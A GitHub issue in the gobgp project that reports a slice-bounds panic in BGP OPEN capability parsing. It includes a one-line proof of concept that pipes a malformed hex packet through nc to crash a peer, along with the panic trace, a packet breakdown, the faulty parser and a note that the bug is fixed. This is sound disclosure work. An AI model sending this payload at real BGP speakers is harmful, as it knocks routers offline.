osrg/gobgp

slice bounds out of range bug in `packet/bgp/bgp.go`

GoldBinocle opened this issue · 3 comments

GoldBinocle commented

I triggered a slice bounds out of range bug in packet/bgp/bgp.go when parsing Software Version Capability

Reproduce

Config

The config of the under-test node is as follows, and its IP is 10.0.255.6

[global.config]
  as = 65001
  router-id = "192.168.10.6"


[[neighbors]]
  [neighbors.config]
    neighbor-address = "10.0.255.5"
    peer-as = 64512

The config of the attack node is as follows, and its IP is 10.0.255.5

[global.config]
  as = 64512
  router-id = "192.168.10.5"

[[neighbors]]
  [neighbors.config]
    neighbor-address = "10.0.255.6"
    peer-as = 65001

Attack

On the attack node, send a BGP Open packet with malformed Software Version Capability:

echo "ffffffffffffffffffffffffffffffff00280104fc00005ac0a80a050b02094b070a000000000000" | xxd -p -r | nc 10.0.255.6 179

Then, the under-test node will crash and the full logs are as follows:

{"level":"info","msg":"gobgpd started","time":"2023-10-31T01:54:26Z"}
{"Topic":"Config","level":"info","msg":"Finished reading the config file","time":"2023-10-31T01:54:26Z"}
{"Key":"10.0.255.5","Topic":"config","level":"info","msg":"Add Peer","time":"2023-10-31T01:54:26Z"}
{"Key":"10.0.255.5","Topic":"Peer","level":"info","msg":"Add a peer configuration","time":"2023-10-31T01:54:26Z"}
{"Duration":0,"Key":"10.0.255.5","Topic":"Peer","level":"debug","msg":"IdleHoldTimer expired","time":"2023-10-31T01:54:26Z"}
{"Key":"10.0.255.5","Topic":"Peer","level":"debug","msg":"state changed","new":"BGP_FSM_ACTIVE","old":"BGP_FSM_IDLE","reason":{"Type":7,"BGPNotification":null,"Data":null},"time":"2023-10-31T01:54:26Z"}
{"Key":"10.0.255.5","Topic":"Peer","level":"debug","msg":"Accepted a new passive connection","time":"2023-10-31T01:54:29Z"}
{"Key":"10.0.255.5","Topic":"Peer","level":"debug","msg":"stop connect loop","time":"2023-10-31T01:54:29Z"}
{"Key":"10.0.255.5","Topic":"Peer","level":"debug","msg":"state changed","new":"BGP_FSM_OPENSENT","old":"BGP_FSM_ACTIVE","reason":{"Type":11,"BGPNotification":null,"Data":null},"time":"2023-10-31T01:54:29Z"}
panic: runtime error: slice bounds out of range [:10] with capacity 7

goroutine 25 [running]:
github.com/osrg/gobgp/v3/pkg/packet/bgp.(*CapSoftwareVersion).DecodeFromBytes(0x5167e0?, {0xc000118174?, 0xc000404bb0?, 0xc000404c30?})
      github.com/osrg/gobgp/v3/pkg/packet/bgp/bgp.go:1081 +0x185
github.com/osrg/gobgp/v3/pkg/packet/bgp.DecodeCapability({0xc000118174, 0x9, 0x9})
      github.com/osrg/gobgp/v3/pkg/packet/bgp/bgp.go:1163 +0x222
github.com/osrg/gobgp/v3/pkg/packet/bgp.(*OptionParameterCapability).DecodeFromBytes(0xc000122580, {0xc000118174?, 0xdb5d0ca8f8?, 0x7fdb5d0c9e78?})
      github.com/osrg/gobgp/v3/pkg/packet/bgp/bgp.go:1182 +0xc7
github.com/osrg/gobgp/v3/pkg/packet/bgp.(*BGPOpen).DecodeFromBytes(0xc0001527c0, {0xc000118168?, 0x0?, 0xc000404d28?}, {0x410865?, 0x8?, 0xc06de0?})
      github.com/osrg/gobgp/v3/pkg/packet/bgp/bgp.go:1273 +0x289
github.com/osrg/gobgp/v3/pkg/packet/bgp.parseBody(0xc000404ec0, {0xc000118168, 0x15, 0x15}, {0xc0001240f8, 0x1, 0x1})
      github.com/osrg/gobgp/v3/pkg/packet/bgp/bgp.go:14637 +0x270
github.com/osrg/gobgp/v3/pkg/packet/bgp.ParseBGPBody(...)
      github.com/osrg/gobgp/v3/pkg/packet/bgp/bgp.go:14656
github.com/osrg/gobgp/v3/pkg/server.(*fsmHandler).recvMessageWithError(0xc0003588c0)
      github.com/osrg/gobgp/v3/pkg/server/fsm.go:1015 +0x64b
github.com/osrg/gobgp/v3/pkg/server.(*fsmHandler).recvMessage(0xc0003588c0, {0xc0002d37d0?, 0xb7b1c5?}, 0xc0002e4000?)
      github.com/osrg/gobgp/v3/pkg/server/fsm.go:1178 +0x65
created by github.com/osrg/gobgp/v3/pkg/server.(*fsmHandler).opensent in goroutine 23
      github.com/osrg/gobgp/v3/pkg/server/fsm.go:1262 +0x2c9

Analysis

The parse result of the PoC packet is

0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Marker (first 8 bytes)
0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Marker (second 8 bytes)
0x00, 0x28, // Length: 40
0x01, // Type: OPEN


0x04,       // version: 4
0xfc, 0x00, // my as: 64512
0x00, 0x5a, // hold time: 90 seconds
0xc0, 0xa8, 0x0a, 0x05, // BGP identifier: 192.168.10.5
0x0b, // optional parameters length: 11
0x02, // parameter type: capability
0x09, // parameter length: 9

0x4b,       // capability type: Software Version (75)
0x07,       // capability length: 7
0x0a,      // version length    <-------- the length value is larger than the actual value. It should be 0x06
0x00, 0x00, 0x00, 0x00, 0x00, 0x00  // version

The corresponding parse function is:

gobgp/pkg/packet/bgp/bgp.go

Lines 1073 to 1083 in 1b975be

func (c *CapSoftwareVersion) DecodeFromBytes(data []byte) error {
c.DefaultParameterCapability.DecodeFromBytes(data)
data = data[2:]
if len(data) < 2 {
return NewMessageError(BGP_ERROR_OPEN_MESSAGE_ERROR, BGP_ERROR_SUB_UNSUPPORTED_CAPABILITY, nil, "Not all CapabilitySoftwareVersion bytes allowed")
}
softwareVersionLen := uint8(data[0])
c.SoftwareVersionLen = softwareVersionLen
c.SoftwareVersion = string(data[1:c.SoftwareVersionLen])
return nil
}

In line 1081, SoftwareVersionLen represents the version length field and is read from the packet without sanitization, we should check whether there is enough data before the slice.

fujita commented

Thanks for the report. Can you send a pull request?

GoldBinocle commented

Fixed by #2736

fujita commented

Oops, sorry. I unintentionally fixed both bugs.